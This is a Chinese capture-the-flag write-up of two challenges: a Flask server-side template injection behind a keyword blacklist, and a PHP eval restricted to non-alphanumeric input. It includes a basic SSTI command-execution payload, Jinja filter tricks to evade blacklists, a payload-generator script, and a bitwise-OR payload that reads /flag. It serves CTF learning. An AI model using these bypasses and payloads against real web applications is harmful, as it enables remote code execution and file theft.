安恆大學
注入點在郵箱注冊那里,無法復現了,提一下
ezflask
源代碼
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)
@app.route("/")
def index():
def safe_jinja(s):
blacklist = ['class', 'attr', 'mro', 'base',
'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
break
return flag
if not request.args.get('name'):
return open(__file__).read()
elif safe_jinja(request.args.get('name')):
name = request.args.get('name')
else:
name = 'wendell'
template = '''
<div class="center-content">
<p>Hello, %s</p>
</div>
<!--flag in /flag-->
<!--python3.8-->
''' % (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
解題思路
代碼倒是還行,審計沒啥難度。只有一個根路由,ssti模板注入,大概意思就是paylaod里不能有黑名單的字符串等,否則會報錯,成功bypass后獲得flag。那么問題就來了,幾乎過濾了常見的ssti所有字符串。如何bypass呢?
bypass
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
上面是ssti最基本的payload,基於此進行bypass,這里過濾了引號,request,chr,subclasses,加號,導致關鍵字被過濾了,無法通過拼接或者轉義其中任何一種方式構造payload,所以我在這里思路斷了,在網上也沒搜索到可以替換subclasses的方法,看y1ng師傅的wp,y1ng,yyds!
我發現真的吐血了,原題,為什么我比賽的時候搜不到這題,寫wp的時候一搜就搜到了。CBCTF easyflask
我們需要知道的知識:
- python中的__doc__是什么?
一般而言,是對函數/方法/模塊所實現功能的簡單描述。

2.如何不使用上面的黑名單構造payload?
- {% set ca = dict(ca=aa,t=dd)|join() %} //cat
- {%set c=dict(c=1).keys()|reverse|first%} //c
- {{(dict(a=1))|string|truncate(3,True,a|string)|list|last}} == 'a' //a
使用上面一種方法即可構造,這里我還沒有琢磨透,找個時間仔細琢磨下payload的構造把
exp
這里直接貼腳本了
payload = '{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}'
payload = ''
def get_alp(alp, goal):
num = ord(alp)
result = '{%set {goal}=dict(a={goal},c=udl%({num})).values()|join %}'.replace(
'{num}', str(num)).replace('{goal}', goal)
return result
def get_word(des, goal):
# goal = 'ds2'
# des = '__globals__'
result = ''
for i in des:
result += (get_alp(i, goal))
return result
def main():
# poc = "url_for.__globals__.__builtins__.open('/flag').read()"
i = 0
while(1):
text = input('>')
print('i'+str(i), end=':')
print(get_word(text, 'i'+str(i)))
i += 1
main()
知識點
- ssti繞過新姿
ezrce
源代碼
<?php
error_reporting(0);
show_source(__FILE__);
$code=$_POST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('you are not smart');
}
}
eval("echo($code)");
?>
解題思路
過濾了數字,字母,異或,取反的rce,只要最后能執行eval里的語句即可。這兩道題過濾的是真狠,幾乎所有常見的bypass都過濾了
這里看到有兩種思路,y1ng師傅的或者是|按位或運算符
|按位或運算
其實按位或運算的思想挺簡單,就是當時沒往這里想,首先看看,反引號沒有被禁,那么我們就用反引號構造
payload的有很多

挑一個readfile(/flag)
這里就用反引號的二進制位與payload的二進制位對比,得出最后的payload:
('````````')|' ')('/````'|'/ '))//readfile(/flag)
總結思路
尋找新的運算符構造payload
知識點
- rcebypass新姿勢
